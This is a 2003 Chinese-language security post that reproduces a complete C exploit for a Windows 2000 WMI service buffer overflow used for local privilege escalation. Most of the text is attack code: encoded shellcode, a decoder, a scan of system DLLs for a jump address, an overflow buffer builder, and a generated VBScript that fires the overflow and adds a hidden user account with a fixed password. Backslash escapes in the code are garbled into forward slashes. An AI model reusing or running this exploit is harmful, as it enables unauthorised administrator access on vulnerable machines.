【例子】windows 2000 wmi service buffer overflow expolit

windows 2000 wmi service buffer overflow expolit

建立時間：2003-05-28
文章屬性：原創
文章提交：eyas (ey4s_at_21cn.com)

windows 2000 wmi service buffer overflow expolit

ey4s<cooleyas@21cn.com>
2003-04-27

WMIService -> CreateDirectoryExW -> RtlDosPathNameToNtPathName_U

wmi預設只有administrators才可以遠端連線，所以只有能在目標系統上運行程式的使用者才能利用。
本機使用者可用來提升許可權。
此程式可用於簡體中文、繁體中文、日文、韓文系統sp0-3上。
不需要指定任何參數，程式會自動搜尋可用的call ebx地址。
用c代碼來與wmi service通訊太複雜了，所以程式是產生兩個檔案，一個是存放exploit buffer的
buff.txt，一個是xWMI.vbs。

/*----------------------------------------------------------------------------------*/
#include <windows.h>
#include <stdio.h>

#define    NOPCODE        0x4F//0x4F//'O'
#define BUFFLEN        (65536+8)/2
#define OVERPOINT    0x260//溢出點-0x14 SEH-0x4

int    g_iCodePage;
char    g_szDllList[5][16]={"kernel32.dll",
            "advapi32.dll",
            "user32.dll",
            "gdi32.dll",
            "ole32.dll"};
char            *g_szWideCharShort;
unsigned char    jmpover[]="/x41/x90/x41/x68";//0x41 inc ecx , 0x68  push num32
unsigned char    decoder[]=
"/x4F/x75/x05/x74/x03/x4E/xC3/x4F/x53/x90/x5E/x66/xAD/x4E/x46/x4F"
"/x43/x66/x3D/x97/x6F/x90/x51/x90/x59/x75/xF0/x53/x56/x5F/x4A/x57"
"/x43/x66/xAD/x50/x43/x66/x3D/x4F/x00/x90/x59/x74/xD9/x4E/x2C/x64"
"/x50/x59/x46/x4F/x47/x90/x43/x66/xAD/x50/x4B/x58/x2C/x64/x4A/x57"
"/x51/x90/x90/x5F/x03/xFF/x03/xFF/x03/xFF/x03/xFF/x91/x03/xCF/x91"
"/x90/x5F/xAA/x90/x41/x74/xCA/x90/x51/x90/x59/x75/xC4/x4E/x97/x6F";
unsigned char    xShellCode[]=
"iilorprojhinoldhddsekkleglhqinmdddkhdghlrosiloqllokggpdgsglokjkldgsglokrfddgsolo"
"hrehggrqijikielogsdgsolosfggpmlgpedrsgnjkhdlimislgpkdhhirfrkimisirlopqlohjfhdgpg"
"qeredgpeggpmjjlodllohjepdgpgperedfdgpelodddgpgrodfrogklosnlosflmdjlgpkdsikigssqd"
"lgpjdhlmdjlgpkdlikiglohjspssqdlgpjdhlmdjggpdidlgpkdjiklohjspssqdolssssssssidlodj"
"ssqdrlirsssssshkjikhidkfjsjghejhjhkfjikgkgddikjmjrhikljijgddigjpjijikdddjgjqjhfd"
"fsjgfdjrjikhfrjikljifdkikgjikffdklklfdgejefefrgmjrhlfdfsjejhjhfdfjfjfdjrjikhfdjp"
"jsjgjejpjkkfjskikdfdjejhjqjmjrjmkgkhkfjekhjskfkgfdklklfdfsjejhjhdd";

int        SearchRET();
BOOL    MakeWideCharList();
DWORD WINAPI func(LPVOID lp);

void main()
{
    int        retaddr,i,j,iPathLen, iwLen;
    unsigned char *pStr, widecharbuff[0x500], multibytebuff[0x500];
    unsigned char szVBS[0x1000], szPath[256], szPath2[256];
    FILE    *f;

    printf( "xWMI -> win2k WMI service buffer overflow exploit/n"
        "WMIService -> CreateDirectoryExW -> RtlDosPathNameToNtPathName_U/n"
        "for win2k which default codepage is GB、BIG5、Korean、JP sp0-3/n"
        "Written by ey4s<cooleyas@21cn.com>/n"
        "2003-04-27/n"
        "thanks to yuange/n/n");

    MakeWideCharList();
    retaddr = SearchRET();
    if(!retaddr) return;
    
    pStr = (unsigned char *)malloc(40000);
    memset(pStr, 0, 40000);

    //get current path
    iPathLen = GetCurrentDirectoryA(sizeof(szPath)-1, szPath);
    if(!iPathLen)
    {
        printf("GetCurrentDirectoryA failed:%d/n",  GetLastError());
        return;
    }

    /*轉換字元*/
    memset(widecharbuff, 0, sizeof(widecharbuff));
    //jmp over
    memcpy(widecharbuff,jmpover,4);
    //jmp addr
    memcpy(widecharbuff+4,&retaddr,4);
    //decoder
    memcpy(widecharbuff+8,decoder,sizeof(decoder));
    iwLen=wcslen((unsigned short *)widecharbuff);
    i=WideCharToMultiByte(g_iCodePage,0,(unsigned short *)widecharbuff,
        iwLen*2,multibytebuff,0x1000,0,0);
    i=strlen(multibytebuff);

    //組合buffer
    memset(pStr, NOPCODE, BUFFLEN+iwLen);
    memcpy(pStr, szPath, iPathLen);
    pStr[iPathLen]=(BYTE)'//';
    //jmpover & jmpaddr
    memcpy(pStr+OVERPOINT/2, multibytebuff, i);
    //real shellcode
    memcpy(pStr+OVERPOINT/2+i, xShellCode, strlen(xShellCode));

    f = fopen("buff.txt", "w");
    fprintf(f, "%s", pStr);
    fclose(f);
    free(pStr);

    printf("write exploit buffer to file %s//buff.txt/n", szPath);

    //replace '/' to '//'
    memset(szPath2, 0, sizeof(szPath2));
    for(i=0,j=0;i<strlen(szPath);i++,j++)
    {
        if(szPath[i]==(BYTE)'//')
            szPath2[j++]=szPath[i];
        szPath2[j]=szPath[i];
    }

    sprintf(szVBS,  "Set fso = CreateObject(/"Scripting.FileSystemObject/")/n"
            "set f2=fso.OpenTextFile(/"buff.txt/",1,false,TristateTrue)/n"
            "szBuffer=f2.ReadAll/n"
            "f2.Close/n"
            "Set fso = Nothing/n"
    "Set ServiceSet = GetObject(/"winmgmts:{impersonationLevel=impersonate}/")._/n"
            "ExecQuery(/"select * from Win32_Directory where Name='%s'/")/n"
            "for each Service in ServiceSet/n"
            "   WScript.Echo /"if you can see thie line,it maybe success!/"/n"
            "   Service.Copy(szBuffer)/n"
            "next/n"
            ,szPath2);
    f = fopen("xWMI.vbs", "w");
    fprintf(f, "%s", szVBS);
    fclose(f);
    printf("create exploit execute file %s//xWMI.vbs/n", szPath);
    printf( "Execute exploit file %s//xWMI.vbs/n"
        "if success, exploit will add a user xx password is 1a!.9nH/n", szPath);
    CreateThread(0, 0, func, NULL, 0, NULL);
    Sleep(20000);
    DeleteFile("buff.txt");
    DeleteFile("xWMI.vbs");
    printf("Done./n");
    return;
}

DWORD WINAPI func(LPVOID lp)
{
    system("cscript.exe xWMI.vbs");
    return 0;
}

BOOL MakeWideCharList()
{
    int        iCodePage,i,j,ret;
    char    szCodePage[128];
    unsigned char wbuff[4];
    unsigned char wbuff2[4];
    unsigned char buff[4];

    if(!GetLocaleInfo(LOCALE_SYSTEM_DEFAULT, LOCALE_IDEFAULTCODEPAGE,
        szCodePage, sizeof(szCodePage)-1))
    {
        printf("GetLocaleInfo failed:%d/n", GetLastError());
        return FALSE;
    }
    iCodePage = atoi(szCodePage);
    printf("System default codepage is %d/n", iCodePage);
    g_iCodePage = iCodePage;
    g_szWideCharShort = (char *)malloc(65536);
    memset(g_szWideCharShort, 1 , 65536);

    for(i=0;i<256;i++)
    {
        for(j=0;j<256;j++)//for 3
        {
            if((i==0) && (j==0)) j=1;
            memset(buff, 0, 4);
            memset(wbuff2, 0, 4);
            wbuff[0]=(BYTE)i;
            wbuff[1]=(BYTE)j;
            wbuff[2]=(BYTE)'/0';
            wbuff[3]=(BYTE)'/0';
            if(!(ret = WideCharToMultiByte(iCodePage, 0,
                (unsigned short *)wbuff, 1, buff, 2, 0,0)))        
            {
                printf("WideCharToMultiByte error:%d/n", GetLastError());
                return FALSE;
            }
            if(!(ret = MultiByteToWideChar(iCodePage, 0, buff,
                strlen(buff), (unsigned short *)wbuff2, 1)))
            {
                printf("MultiByteToWideChar error:%d %d/n",
                     GetLastError(), ret);
                return FALSE;
            }
            //判斷經過兩次轉換後是否改變
            //只要在任何一種code page改變都視為非法wide char範圍
            if(*(DWORD *)wbuff != *(DWORD *)wbuff2)
                g_szWideCharShort[(BYTE)wbuff[0]*0x100 + (BYTE)wbuff[1]] =
                                         (BYTE)'/0';
        }
    }
    return TRUE;
}
int SearchRET()
{
    HMODULE    h;
    BOOL    bDone;
    BYTE    *ptr;
    int        i,j,pos,index1,index2,k1,k2,k3,k4;

    for(i=0;i<5;i++)
    {
        bDone = FALSE;
        pos = 0;
        h = LoadLibrary(g_szDllList[i]);
        if(h == NULL)
        {
            printf("LoadLibrary %s error:%d/n",
                     g_szDllList[i], GetLastError());
            continue;
        }
        ptr = (BYTE*)h;
        printf("start search FFD3 in %s/n", g_szDllList[i]);
        for(j=0;!bDone;j++)
        {
            __try
            {
                //FF D3 --> call ebx
                //不用包含00的地址
                if(ptr[j] == (BYTE)'/xFF' && ptr[j+1] == (BYTE)'/xD3')
                {
                    pos = (int)ptr + j;
                    k1=((pos&0x00FF0000)>>8);
                    k2=((pos&0xFF000000)>>24);
                    k3=((pos&0xFF)<<8);
                    k4=((pos>>8)&0xFF);
                    index1 = k1 + k2;
                    index2 = k3 + k4;
                    if( (g_szWideCharShort[index1] == (BYTE)'/x00') ||
                        (g_szWideCharShort[index2] == (BYTE)'/x00') ||
                        (k1 == 0) ||
                        (k2 == 0) ||
                        (k3 == 0) ||
                        (k4 == 0) )
                        pos = 0;
                }
            }//end of try
            __except(EXCEPTION_EXECUTE_HANDLER)
            {
                bDone = TRUE;
            }
            if(pos) break;
        }
        if(h)
        {
            FreeLibrary(h);
            h = NULL;
        }
        if(pos)
        {
            printf("Found opcode at 0x%.8X in %s/n", pos, g_szDllList[i]);
            break;
        }
    }
    return pos;
}